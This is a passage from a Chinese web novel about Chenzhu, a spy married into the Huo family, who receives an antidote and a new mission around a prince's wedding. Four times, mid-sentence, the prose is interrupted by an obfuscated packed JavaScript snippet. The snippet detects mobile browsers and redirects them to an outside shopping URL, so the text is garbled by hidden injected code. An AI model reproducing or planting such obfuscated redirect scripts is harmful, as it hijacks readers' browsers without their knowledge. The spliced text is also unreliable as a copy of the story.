“芙儿她并未同我们一道返回燕京，现下应当在返回燕京的路途之上。叶将军莫在此处等着了。” 说完，沉竹便走下石阶，从叶准身边走过，没注意到身后的叶准失望地低下了头。 “可今日，是最后一日了。” 霍任芙在上元节当日的清晨回到了燕京，而在上元节前一日的夜里，兆云公主同叶准一起登上了燕京城的城楼，在已然热闹起来的集市灯火之上，共赏了将近十五尚未圆满的月色。 此事在上元节当日被传开，从平头百姓到达官贵人，人人皆乐道叶准虽出身微寒与公主身份实是天壤之别，但好在那日城楼之上对公主悉心备至，二人眼神交流之间满是浓情蜜意。 沉竹听沁菊说与自己后，只是一笑而过，未多说些什么。 “夫人，此事可要瞒着霍小姐些？”沁菊边说着边为沉竹递上沾好墨的笔。 沉竹今日一时兴起，在院中坐着为那日从街市上买来的花灯上写些祈愿的话语。 “有何可瞒？堵住了府中人的嘴又如何堵住这街坊闹市间的议论，难道要让芙儿足不出户不成？事情已过去了这么久，我相信芙儿已想开了。我只庆幸那日叶准在府门前苦等之事未有几人瞧见。” “奴有一事欲告知夫人，不知当讲否。” “有何可支支吾吾的，但说无妨。” “叶将军来的那日，巷口附近不知为何支起了一方台子，请来了燕京城内小有名气的乐师演奏，跳起了鼓舞来，临近几条街巷的小厮和走贩那日都围在了那处，夫人那日乘车，大抵是未曾注意。” “这么说来，倒也算是用心良苦，可如今行至如此田地，他与芙儿便再无可能。” 说完，沉竹将手中的题好字的菱形灯笼拿给一旁的沁菊看。 “‘千岁万岁，顺颂时祺。’此寓意你看着可好？只是我的字难看了些，配在这灯笼之上倒显得有些违和。” “何来违和？”沁菊接过沉竹手中的灯笼端详后，笑盈盈地说道，“寓意好，夫人的字也不差，在这灯笼之上可谓是相得映章。” “就你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466718|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴最甜。”说罢，沉竹又从地上拿来一只灯笼，提起笔，“那我便再写一只。兆国上元节向来有在灯笼上题字祈愿的习俗，我如此勤恳地在灯笼上挥墨，不知上天可否看我诚心，让我得些垂怜。” 沉竹在灯笼之上题字题得起劲，不知不觉便到了傍晚。 上元佳节，街巷间张灯结彩热闹得很，霍府之内的三人倒并未去凑街市上的热闹，安心在家候着膳房刚要煮好的元宵。 霍间重将沉竹上午题好字的灯笼一一挂在府中空着的廊间，霍任芙则在梯下将在地上堆着的灯笼递给霍间重，站在一旁的沉竹则将低矮的火烛点燃放在铜盘之中，一样递给梯上从霍间重。 “嫂嫂的字可真是写的不错。”霍任芙仔细看过沉竹在灯笼上的字由衷地赞叹道。 “是不错。”霍间重也在一旁附和。 “当真？” 一日之间收到太多赞美的沉竹不免笑了出来，她曾在书房之中看过霍间重的字，她自认绝不在自己之下，当时夸赞的话说着便也掺了几分真心，而霍任芙的字她曾在霍家的那些账册上见过，比自己肯定是要好上不少的。 “自然当真。嫂嫂字写得娟秀，人也貌美，更别提心底是何等良善，娶到嫂嫂不知是我兄长几世修来的福分。” 霍任芙说此话时，眼神真挚，让人挑不出一丝一毫的假来。 霍间重听后，则是无奈地笑笑：“是福分。” 见霍任芙对霍间重像是在敷衍的态度又有不满，皱起眉头来，沉竹在一旁乐得出声。 “好了，只这一盏了，将这最后一盏灯笼挂完，元宵也当是煮好了，我们便到正厅之中用饭。” 灯笼中的烛火透过各色的纸料发出和煦的光芒来，照得人心都更暖了些。 “嫂嫂这元宵是在何处买得？”霍任芙咬了口用瓷勺盛起的元宵向沉竹询问道，“外皮宣发软糯，内馅又有糖料桂花，极为可口。” “芙儿觉着好便好，我身边侍女沁菊贪吃，对燕京城内大大小小的美食珍馐都有些研究，今日这元宵便是我听沁菊所言，去到城南一间铺子里买得的。” “城南？燕京城南边朝阳门离城南那边集市商铺极近，来往商人皆从朝阳门过，那间铺子的生意想必不差吧。”霍间重接过话头，为沉竹夹了些她爱吃的菜。 “是不差的，前些日子，我同沁兰沁菊他们一道去买，不少外地来的商贾都瞧着那间铺子门前人多，在那处买了些元宵回去品尝。” “城中安乐，来往商贾热闹也算得上一间美事。”霍任芙口中边嚼着元宵，边说道。 “嘴里有东西，便少说话。” 霍间重此话一出，霍任芙便立刻瞪了他一眼，咀嚼地越发用力。 待将口中的元宵咽下，霍任芙即刻便道：“那兄长可从我的话中挑出错处？” 霍间重被噎地没了话，只得端起杯中的茶水，饮了一口。 沉竹在一旁会心笑笑，将今日发生的一切尽力记在自己的心中，倘若人死之前真的会将生前的这些记忆在脑海中通通都过一遍，她期望这一幕会在最后一刻出现。 20. 悲喜 润夏离世的消息，沉竹是在霍任芙的口中得知的。 王府内消息封锁得严实，本不该有半点风声传出，只是近来霍间重事务繁忙，霍任芙便总是托郑子寒去廷正监去给霍间重送些吃食，一来二去，便有了些交情，一日询问，郑子寒便不小心漏了些口风，霍任芙便也因此得知。 看来先前在拂尘寺时，润夏所言对解药的尝试终是以失败告终。 先前自己去药铺配出的“解药”沉竹曾让沁菊同安神的药一并煮了出来，药性太烈的药她也不敢尝试，去滁州药馆配药之时还特地跟药铺老板仔细确认了此药不会损人身体。 煮出来的药颜色看起来与安神汤别无二致，她每每都在无人处将安神汤倒掉，将此药饮下，可身体总是没些什么变化。 沉竹无法想象润夏的尸体是在何处被发现，死状又是如何凄惨，只是听闻其死讯的那日夜间，躺在床榻之上，她还是辗转反侧难以入眠。 尽管润夏已死，先前同沉竹的约定已然不作数，但到了三月末尾，她还是去往了拂尘寺，登上了寺后的山顶，看着自己曾无比熟悉的山顶景色，她还是忍不住哭了出来。 她穿的朴素，戴着白色的帷帽，无人能识出她的身份，自也无人知晓亭中那抖动的身影是在哭还是在笑。 在准备离开拂尘寺之前，许是心有不甘，沉竹到寺中求了一支签。 竹签在竹筒中碰撞的声音久违地在耳边响起，短暂的摇晃过后，一支竹签轻巧地落地。 沉竹弯腰将那支竹签捡起，那竹签之上被刻着三个字：上上签。 看着自己曾“求之不得”的三个字现下就这么出现在自己眼前，沉竹没忍住兀自笑了出来，她的心中没来由得觉得荒唐，可自己的手还是止不住地摩挲着刻刀在竹签上留下的印记。 在沉竹准备离开求签的殿宇，去拂尘寺门前寻等在那处的沁兰和沁菊时，一抹穿着华服的张扬倩影从她身边穿行。哪怕隔着幕篱，她还是一眼将此人认出。 是杨谣。她来此有何所求？ 她与二皇子的婚事已然敲定，婚期就定在五月，那时燕京城不过刚刚立夏。 说来，她还未历过燕京城的夏，大抵也是经历不到了。 沉竹抬脚迈出了这座空旷殿宇的门槛，为自己习惯性的过多思虑摇头笑笑。 毕竟如今离自己将要死去的四月中旬不过十来日，沉竹心中却还在止不住地遗憾挂念。 近来最让沉竹挂念的无疑是发生在滁州的战事，先前在冬日那场战役中接连败退的安国，在这场战事中像是摸清了关窍，一连从边境胜至滁州城外，现下又在与滁洲城守军的交手之中接连取胜。 她在霍府接到了赵父赵母的来信，信中讲到他们现下已带着大多财物北上至信州，身体仍旧康健，无需她过多挂怀。 霍间重前去平息东边的战乱已走了大半个月，跟在他身边的郑子寒则遵陛下旨意已从燕京城出发带着一队人马前去支援，可不幸的消息还是传来。 霍任芙自打上次离开滁州后，便一直同那处的人有着书信往来，今日刚送至府中的一封信中写道，滁州城的守将章征在一次与安国军队交战中彻底失掉了自己的臂膀，今后怕是再也无法上战场，只能在家中安度余生。 霍任芙读完信后面色戚戚，只因信中还写道，滁州的战事虽已平息但此次战役仍让滁州元气大伤，先前立下的城墙不得不向后推移了二十里，用来当作安国守军驻扎的营地。 如此煎熬的战火中传出这样一封信来并不容易，除非这封信来自兆国的军营。兆国朝中总会安排最擅骑乘之术的人当作信使用来给边疆的战士们往城中传信。 “兄长那边也不知如何了。”霍任芙眉头紧皱着叹了口气。 “芙儿莫要如此担忧，夫君定会平安归来。我这几日在街上听闻，在东边闹事的那群乱匪是覃国人假扮的，在东边闹事就是为了分散注意力，从而为安国争取些利好。” “但愿如此吧，这传闻在坊间四散，真假总是存疑，不过若是兄长真的归来，我倒是也能安下心来。” “芙儿莫要再皱眉了。”沉竹伸出手将霍任芙紧皱着的眉头抚平，“东边山高水远，路途艰辛漫长，书信难以寄送，但朝中既无人来报，想必夫君在那处是安全的。” “嫂嫂说的对，我不该如此消沉，该给自己寻些盼头来。”霍任芙说着说着便将自己的心情转换过来，“嫂嫂可知近日京中哪家办着些雅事，可递过来帖子？” “你这心思未免也转的太快了些，边境刚经过一场鏖战，京中哪家敢在此时办那些雅集？”沉竹笑着回应道，“我改日带芙儿上街逛逛，散散心。” “好。”霍任芙终是展颜，语气轻松地说道，“前些时日，嫂嫂不是带我认识了些香料，我自己回去琢磨了一二，给嫂嫂配了一个香囊出来，希望嫂嫂不要嫌弃。” 说罢，霍任芙将一只淡紫色的香囊递给沉竹。 “我见嫂嫂对紫色极为喜爱，便特意挑了这颜色，上面我自己绣了朵荷花，绣的不太好，嫂嫂莫要嫌弃。” 沉竹接过那只淡紫色的香囊，细看后说道：“何来嫌弃一说？芙儿的绣工比我要好上不少，这香料配的也是别出心裁。” “嫂嫂喜欢便好。” 沉竹点点头，眼睛看着手中的香囊，神思却飘远了。 她自认比霍任芙还希望霍间重能够尽快归来，在最后的日子到来之前，她还是希望能见霍间重最后一面。 兆国五十三年四月初九，这日燕京城下起雨来，同雨一并来的，还有霍间重终于送至府中的书信。 信中的话语简单却从单薄的纸面透出迫切来。 拿到信的霍任芙急匆匆地来给沉竹报信，可沉竹却不似她想象中的那般欣喜。 只剩一日了，霍间重尚在路途之上，离燕京城最近的一座城邦到此快马也要行上两三个时辰，更何况东边山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496450|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路险峻，现下这一日都已过半，他必定无法赶来。 沉竹强撑起笑容回应着喜悦的霍任芙，听着她说着霍间重归来那日要做些什么可口的佳肴，还说着今后要陪沉竹去赴每一场贵人小姐们设下的宴席。 许是见沉竹兴致不佳，霍任芙说完这些，又说了几句询问关切的话才离去。 沉竹勉强打起精神，送霍任芙走出了房间。 在房门关上之后，沉竹长叹了一口气，坐在窗前，打开窗，静静地看着眼前的一切。 天色亮时，看着窗外不断落下的雨滴，等到天色昏暗，便看着桌上跃动着的烛火。 雨下得愈发大了，雨水滴溅入窗子，在一瞬间将先前跃动着的烛火熄灭。 沉竹在周遭变得黑暗的前一瞬间闭上了眼，她回想起在赵家度过的一年，也想起自己在霍府度过的这些时日。 她清冷的面庞依旧如常，在黑暗的环境中默默地等待着最后的裁决。 她还是不舍的，还是恐惧的，还是遗憾的，但终是无可奈何。 她试着去感受汩汩鲜血从自己的身体里流出，时间一点一滴地流逝，没有黏稠的红色血液从她的身体中流出，可却有一阵翅膀振动的声音隔绝窗外重重雨声传入她的耳畔。 大抵时路过避雨的飞鸟。沉竹这样想着便没有睁开眼。 可那只躲雨的飞鸟不时便要振动羽翼，抖落沾在羽毛上的雨水。声响不停传入沉竹的耳畔，她终是睁开了双眼，打量起这只停在窗前的白鸽。 是濒死的幻象吗？这只从雨中飞来的白鸽身上并未沾染一丝一毫的泥土，像是刚刚被人悉心打理后放生至这附近。 但在细细打量过眼前的这只白鸽过后，沉竹不再认为这是自己将死时眼前出现的幻象。那白鸽的脚上绑着一张白色的纸条。 沉竹将那纸条摘下时，白鸽也不在窗前多做停留，似是被什么物什吸引了一般，飞离了她的窗边。 沉竹将那纸条展开，里面放着一颗褐色的药丸。 是解药。 见到解药的那一瞬间沉竹不知该做些什么反应，但在短暂的怔愣过后，还是将解药率先服下，她始终都想活。 包着解药的纸也并非是一张白纸，沉竹将被雨水打灭的烛火重新燃起，那上面不仅覆盖着专属于赋凌司的印记，还简要书写了几个字。 景王府。 沉竹意识到，这便是她潜入兆国将近两年来的第一个任务。 可燕京城内辨情使已死，润夏也已亡故，将这封信送予她窗前的又是何人？ 窗外的雨还在不停地下着，沉竹在短暂的思考之后像是得出了答案，她从容地将纸条放在烛火边燃尽，灰烬沉沉地落在桌面之上，又被窗外的风吹扫进雨中。 沉竹的眼神从困惑迷惘转向坚定，窗外错落的雨滴在她的眼中也出现了数量与形状。 不论未来是福是祸、是悲是喜，她都会尽己所能将此局行至终点。 21. 谋划 待霍间重回到燕京已是沉竹拿到解药的两天之后了，彼时天朗气清，墙瓦之上已不见雨水来过的痕迹。 沉竹在这两日中吩咐沁菊不必再熬安神的汤药，并把先前那些买来的草药统统处理掉，包括那味约莫能起到避孕效果的零陵香。 自打霍间重归来，她一连多日都与他在床第之间缠绵，她也不再像先前那般惧怕一个生命的到来。 因为沉竹意识到，这个出现的生命无法将她阻碍，但会成为自己行至悬崖之时的把柄，成为牵绊霍间重的存在。 她在亲吻间抚摸着他的脸庞，在喘息间刻意表露出自己饱含爱意的眼睛，故作真挚地同他的双眼对望。 霍间重显然沉溺其中，动作也更卖力了些，仿佛让她快乐是他所能得到的莫大奖赏。 他从她的快感中自证，她对他情根深重。 打破燕京城内萧条气氛的是二皇子的婚事。 城中的告示昭告着此间喜事的来临，在大婚当日宫中会遣人到各处城门前摆下美酒和糕点供城中百姓品尝，此外，自成婚那日起举国田税都会减免两成，维持三年，意在与民同庆。 此告示一出，坊间皆欢欣，无人不称赞着皇子皇妃乃天赐良缘，是一对神仙眷侣。 未曾与二人其中任何一个打过交道的霍任芙，对街坊四邻人人口中的神仙人物一日日积攒下了十足的好奇。 “嫂嫂你可见过那皇子皇妃？可真如那坊间所说，宽宏明德？”霍任芙坐在沉竹身旁，兴致勃勃地将从街上买来的干果一一剥去外皮，留下果实，推到沉竹面前。 “不可妄议皇家之事。”正要前往廷正监霍间重路过院中，听闻霍任芙如此问向沉竹，语气冷肃地说道。 “嫂嫂莫要理他，只管同我讲便是，这四角院落之中无外人在场，更何况大婚尚未进行，皇子难言，那杨家千金嫂嫂总可跟我说说是个怎样的人。”说着，霍任芙将本就放在沉竹面前的干果朝着沉竹的方向又推了推。 “言语我自有斟酌，夫君若有急事不妨先行。”沉竹笑着看向站在不远处的霍间重说道。 见沉竹如此说，霍间重便也不再多做停留，接过身边侍卫递来的佩剑，在临行前同沉竹说道：“今日廷正监事务繁忙，不必等我归家用饭。” 等沉竹点头后，方才离去。 霍任芙待霍间重离开之后，眉间的那抹怒色才真正褪去，转头笑着催沉竹快些开口。 “要与皇子结亲的那位杨家小姐名叫杨谣，我曾与她在诸家宴席间见过几面。” “此人品性如何？嫂嫂可与此人交好?” 交好？交恶还差不多。 沉竹心中如此想，手中却先端起茶杯，浅尝了一口，才笑着同霍任芙说道：“只几面之缘，一人品性我怎可妄下论断？杨家小姐外貌华美，行事倒也算得上端庄。” 说罢，沉竹为掩心虚，端起面前茶水又饮了一口。 霍任芙了然地点点头，又道：“只几面确不足以将一人品性说清，往后若有人家再递了帖子来，嫂嫂可要记得带我一同去，我也好对燕京城内的这些贵人小姐有些印象，也不必让嫂嫂再为我担着城中那些流言蜚语。” 沉竹听后笑着答好。 她心知先前霍任芙不愿外出赴宴，一来是不愿与那些人虚与委蛇地交际，二来是因着叶准。 霍家新贵门庭，霍间重出身寒门又为武将，想要与之相交的达官贵族自不愿将女儿嫁给一个性命不知何时便会终了的武将，家中不曾议过婚事的霍任芙便成了城中想要结交霍家的那些门庭的首选。 那些盘踞燕京城已久的门庭自不会让家中深受重视、秉性良善的儿子与霍家结亲，庶子或是不成器的儿子便成了首选。若真与这些门第送来的人选将亲事谈成，碍于错杂关系，为着兄长着想，沉竹料想霍任芙也不会轻易地将任何一门亲事拒去。 如此，不去赴那些名门的宴席，长久地待在府中，既可将婚事躲过去，也可成心中所想，等着叶准上门提亲那日。 但无人可揣度事态之变化，见这些时日霍任芙不再困于往事，还张罗着要自己带着她出去转转，沉竹心中也不由得为霍任芙高兴。 她们搬来燕京已有一年有余，风头现下已然过去，过后再出门结交也是一番崭新光景。 廷正监这些时日所经历之事可不像沉竹这段时间所经历那般柳暗花明。 先前抓捕在狱的盛乙因着期限已至，早在霍间重前去东边平乱之时便死在了狱中，而先前在景王府潜伏的赋凌司细作润夏，待他们得知消息便已是死讯。 没了线索，陈年身为廷正监监正一筹莫展，只得等霍间重归来，将手边军务办完，众人合力再想出个办法来。 “霍兄那日因东边战乱走得急，我还未曾同霍兄说先前你在滁州所遇到的形似朱国赋凌司的踪迹我这边已有了些结果。经手下人一番探查，已然确定那滁州褚家娘子遇害一事是赋凌司中人所为，只是事发当日章家人杂，不能确定凶手身份，只知晓那人身手了得。” “倘若滁州的那场凶案真的是赋凌司所为，那他们之后必定还会有别的动作。”郑子寒喝了口茶接着向陈年问道，“这些时日你可还打探了些别的消息？” “如今朝中正是用人之际，我除了忙廷正监的事宜每日还要去廷尉府打卯，这追查赋凌司的事便一时搁置了。”陈年无奈地回应。 “那在景王府死去的侍女可搜查了？”霍间重将此事问向陈年。 “也搜查了，那侍女精明得很，什么痕迹也没留下。我还特意问过了王妃，王妃说此人生前曾帮她去燕京城外的拂尘寺焚香请愿，别的事情那人不是王妃近身的侍女也接触不到什么。” “不知此人是否就是那狱中盛乙同你说的‘身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519957|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人‘。”郑子寒听后感叹道，“城外的那座拂尘寺，除了大数百姓会去祈福，京中不少达官贵人都曾去拜会，若是要探查又是件难事。” “如此停滞着也不是办法，不如就借城中近来热议之事做些文章。” “霍兄有何想法不如直说。” “皇子婚事在即，城中定然欢庆松懈，那潜伏在燕京城中的赋凌司细作近来定会有所动作，你我不如就借此机会行动一番。” “霍兄未免也太大胆了些，那可是皇子婚事，如何有文章可做？”陈年汗颜道。 “我一介南边来的寒门将军都敢想，陈监正又有何不敢想？” 陈年出身名门，科举及第后便去地方做官，靠着家中助力和在地方的政绩调职燕京在廷尉府任职。景王派其来担任廷正监监副一职，除去其有真材实学之外，便是看重他出身名门，在探查城中这些达官贵人之时好行事。 霍间重轻笑着继续说道，“大婚当日，四个城门处皆设下美酒佳肴与民同乐，已然帮我们吸引了注意力，只要加强城中守卫，自可等得他现身。” “若是那人不现身一时之间也无法离开燕京城，倘若那日宫廷之中出了乱子，便有好戏可看了。”郑子寒笑着说道。 “这样便可探出那人是藏在百姓之中还是隐匿在这群贵人中间。”陈年兴高采烈地说完之后，脸色又垮了下来，“若是他们料到大婚当日我们会加强防备，故意不行动，那又该当如何？” “平日里燕京城内监视他们行动的除去燕京城内的守卫还有这街上的平头百姓。假如有一日能名正言顺地将城中百姓的注意混淆，哪怕侍卫看管比平日更加严格，我要是赋凌司细作也会选在大婚当日出手。”郑子寒边说着话，边从盘中拿出个花生剥起皮来，“这城中西市的干果铺子炒的这花生倒真是味美极了，你们不尝尝？” “吃吃吃，你就知道吃。”陈年抓起眼前的花生向郑子寒砸去，“霍兄莫要理他，你我继续接着将城中的巡逻布防定下来。” “那你同霍间重二人相商便是，时候不早了，霍家妹妹想必已将食盒送到了廷正监门前，我先去将那食盒拿来品尝。”郑子寒起身伸了个懒腰，对着眼前已将城中地图铺展到桌面上的两人说道。 待霍间重与陈年将大婚当日城中的守备都确定之后，走出廷正监的大门，月色已然高悬。 他乘着车回到霍府之时，门内主屋之中还亮着盏灯。 他推门而入之时，嘴角之上带着自己都未察觉的浅笑。 “夫君归来了。”见霍间重归来，沉竹便笑着起身去迎，“今日可累了？芙儿送去的饭菜夫君可用了？夫君归来得巧，我已温好了一壶茶，我为夫君倒一杯可好？” 在为霍间重斟了一杯茶后，她温声问道：“夫君，芙儿今日所言倒是提醒了我，二皇子大婚那日你我可要一并前去宫中道喜？” 22. 竹叶 “宫中还未递来帖子，不过应当也是这几日的事了。夫人如此说，是很想去这次宫中的婚宴吗？” “那是自然，宫中的宴席定当有些不同吧。”说着沉竹的语气逐渐变得伤感。 她低下头来，往日昳丽的容貌随着语气的低微也像是被抽去了神采，流露出悲戚的神色来。 如她所料，霍间重在她第一滴眼泪落下之前，出声向她询问道：“可是有些什么事？“ 沉竹并未急着回答他的问题，待泪水将下未下刚好为自己的瞳孔覆上一层清透的湖水时，她缓缓地将头抬起。 见她如此模样，霍间重的神色显然变得有些慌张。 “你我既为夫妻，若是有事，便定要同我讲，我自会帮着你解决。” “其实也没什么事。”沉竹边说边用手揩去那滴终于留下的泪，“只是…我们来燕京城中也有些时日了，各家总会递帖子来邀我和芙儿去赴宴，宴席之上难免有些风言风语，我本不该在意的，只是……” 沉竹小声啜泣了一下才接着说道：“只是，一日宫宴之上我不小心听到有贵人说我是从南边乡下来的粗鄙妇人，什么都不懂，只凭着夫君才干得王后娘娘青睐。“ “何人这样说？“霍间重的语气中不知不觉含了几分冷意。 “我那日同陈夫人不过恰巧路过听闻，我也并未上前与之理论，因而并不知晓那日是何人如此说。“ 沉竹言语中的委屈，在此话说出时随时像是要决堤一般，倾泻而下。 “所以我便总觉得燕京城中的宴席同我办的是不同的，宫中的宴席总是不一样的，我多见见总归是能多学学。” “你莫要理她们口中那些话。”霍间重说着，将在一旁站着的沉竹伸手牵至自己的怀中，“你先前操办的那场宴席各处都妥帖至极，你不必去学也无需在那些人面前低声下气，只管做自己便是。” “夫君的话，叶芊知晓了。”沉竹在说话间不断靠近着霍间重，拉近着二人之间的距离，随后在他的唇上轻轻落下一吻。 霍间重显然不满意这片刻的温存，将沉竹已然拉开距离的后脑重新按向自己，重重地在她的唇上辗转。 唇舌间的交锋从桌椅处转移到床榻之上，在霍间重解衣稍退的片刻，沉竹还是面露担忧地说道：“今日天色已晚，夫君明日不是还要上朝？” 先于言语回应她的是霍间重的长驱直入，“若我明日起不来，便称病休沐便是，夫人不必为我担心。” 沉竹的担心显然是多余的，一夜凌乱过后，霍间重仍旧可以在天刚擦亮时起床，神色清爽地将衣冠整理完毕，并在离去之前走到睡眼惺忪的沉竹身边，轻轻抚摸她的脸颊，并落下一吻后离去。 昨夜对霍间重的那番言语，不过是沉竹一时兴起，她先前被死亡的阴影笼罩了太久，在行任何事时心中都横亘着一根刺。 现下她像是一条着陆许久终回河泽的鱼，虽对前路危险一概不知，但短暂的快活和庆幸已足以支撑她度过一些时日。 她揉着自己因久睡而有些酸痛的脖颈，掀开覆在自己身上的薄被，迎接照入窗棂的日光。 今日沉竹并不打算如同往日一般懒散，过了这些时日，她总该开始思考赋凌司留下的任务该如何执行。 那纸条之上的字写得太过简单，只留下“景王府”三个字让她如何莫得着头脑？她要与那传信与她的人见上一面，才好将此说不清道不明的任务开个头，好为自己续命。 传信人的身份她已猜出大概，只需留下诱饵正式确认那人的身份，等着那人来见自己就好。 她起身打开房门，将早候在门外的沁兰和沁菊唤了进来，为自己梳妆。 “夫人今日起的可是有些晚了，早些时候宫中有人递来了帖子，是霍小姐接下的。”沁兰边握着沉竹的长发细细梳着，边说道。 “可是二皇子与杨家小姐大婚的喜帖？” “夫人猜的没错，那帖子上说了，十日之后请国尉、夫人和小姐一并前去宫中赴宴。”沁菊语气轻快地说道，“宫中事物必定同寻常市集中见到的不同，夫人那日去可是要替奴长长眼，归家之后定要同奴讲些宫中的趣闻。” “宫中事务繁杂，夫人进宫之后可是要处处小心。”沁兰在身后不安地嘱咐道。 “我知晓，如今还有些时日，改日我便寻机去拜访王妃，讨些教训来。”沉竹摸着沁兰的手，安抚着她心中的焦虑，“正好，芙儿这几日在家中待着无趣，我也好带她出去转转。王妃对我们霍家有恩，芙儿自也该同我前去，正式拜会一番。” “那夫人何时要前去景王府提前同奴说便好，奴定会帮夫人备好马车，备下礼物，不让夫人失了礼数。”沁兰边说着边帮沉竹挽出合适的发髻来。 “你向来妥帖沉稳，不像这家伙一般贪嘴爱玩。”沉竹嘴中说着打趣的话，手抚上沁兰刚挽好的发髻，“这发髻梳得利落扎实，要选些合适的簪子来配才好，你二人帮我看看，选那支簪子配我今日所穿？” 沉竹拉开放着首饰的匣子，挑了几支簪子放到了台面之上。 这些首饰大多是霍间重赠予她的生辰礼，其间夹杂着几支从赵家带来的珠钗金笄和前些日子她从首饰铺子上专门挑选的一两支做工精巧，样式别致的木簪。 “夫人今日同小姐去往城外一处宽敞地界放纸鸢，穿得素雅轻便，首饰也不宜太过沉重，夫人前几日买的这些轻便朴素的簪子倒是可派上用场。”沁兰在一旁诚恳道。 “那依你所言，这几支新簪哪支更合适些？” “不如就这支？”沁兰听后从台面之上选了一支簪头雕刻出竹叶模样的银簪，接着说道，“竹叶清雅，极衬夫人容貌。” “是啊，这支银簪就极好，奴曾听人说过南边曲水蜿蜒，还有着大片大片的竹林，竹在南边不仅意味着清雅坚韧，还象征着机敏向上的生命，更何况，夫人名中不也有竹？夫人佩戴此簪，此行定能万事顺遂。” “夫人名中哪里有竹字？莫要胡说。”沁兰出声叱责道。 “夫人名中的最后一字不是……是奴想错了，奴学识不精，请夫人见谅。” “无妨。”沉竹将选定的簪子拿到手中仔细看了一番后，递给了沁兰，“那便就这支竹叶簪，帮我簪上吧。” 待换衣梳妆完，走出房门之前，沉竹对跟在身后的沁菊说道：“芙儿那日给我尝了城中西市的花生，味道真是不错的，你平日里对吃食颇有些研究，明日便随我去西市买些回来吧。” “夫人带奴外出，奴自是愿意的。”沁菊笑着回应道。 放飞纸鸢之事并非是霍任芙一时脑热，拉着沉竹去往城外，这纸鸢早在去往滁州之前霍任芙便已备好，可事情繁杂便一直未曾寻到机会，现下得空，霍任芙便即刻邀沉竹去往城外。 沉竹看着手中粗糙的纸鸢，眼前忽地浮现出那片翠绿的竹林来。 “这纸鸢是芙儿你亲手所做？” “正是，我手艺不精让嫂嫂见笑了。”霍任芙说着，不好意思地同沉竹笑笑。 “能飞就好，模样如何我并不在意。” “那便好，那便好。”霍任芙没底气的说道。 一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552709|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风起，可沉竹手中的纸鸢却不随风在空中流转，而是一次又一次地跌落在沉竹手中。 “芙儿将纸鸢制好之后不曾尝试放飞过？” “嫂嫂知道我那时心情不佳，这纸鸢做好后我便不曾试过。”霍任芙眼中满含歉意地看向沉竹，“嫂嫂莫急，定是那纸鸢架构不稳，我来看看，改上一番。” “不必了，芙儿的纸鸢跌落到哪处了？我来看着将这纸鸢修一修罢。” “我手中的纸鸢未曾飞起，只是线与线缠绕在一起，同纸鸢混在一处，方才嫂嫂试着放飞纸鸢时，我便一直在解，但直到现在也未曾解开。” 沉竹无奈笑笑，对着懊恼的霍任芙说道：“将那纸鸢给我吧，我来解。” 二人出霍府之时，已是午后，霍任芙将纸鸢交给沉竹时有许多歉意也有些许遗憾，待天色完全黑下来，这纸鸢怕是放不成了。 可沉竹手中的活计快极了，不一阵儿便把那被线缠绕住的纸鸢解开，还将已有些松散的竹架重新绑好，告知霍任芙让她重新试着放一放。 霍任芙从沉竹手中接过纸鸢，趁着风将线轻轻一牵，那纸鸢便顺风而起，在空中高飞。 “嫂嫂竟还会绑纸鸢！”霍任芙手中紧紧地攥着线，回头隔着风兴高采烈地对沉竹喊道。 沉竹手中拿着修好的另一只纸鸢，在风中用笑容回应着霍任芙。 在赋凌司之时，她也曾在司使的课后将桌上的宣纸偷偷拿走，再趁无人注意时去竹林中弄来些枝条当作纸鸢的骨架。 她窝在暗不见天日的寝居中一遍又一遍地将纸鸢按照自己脑海中的想法缠好，怕竹林中风强劲，她将宣纸叠了一层又一层。 但沉竹从未将纸鸢放飞，许是受到了赋凌司中的传言影响，在传言中上一个在竹林中放纸鸢的人已被司使秘密处决。 那只纸鸢在沉竹听到传言的当日就被她撕毁，可在接下来的日子里，她还是忍不住缠了一只又一只，但缠好的纸鸢又会在一段时间后被她撕毁焚尽。 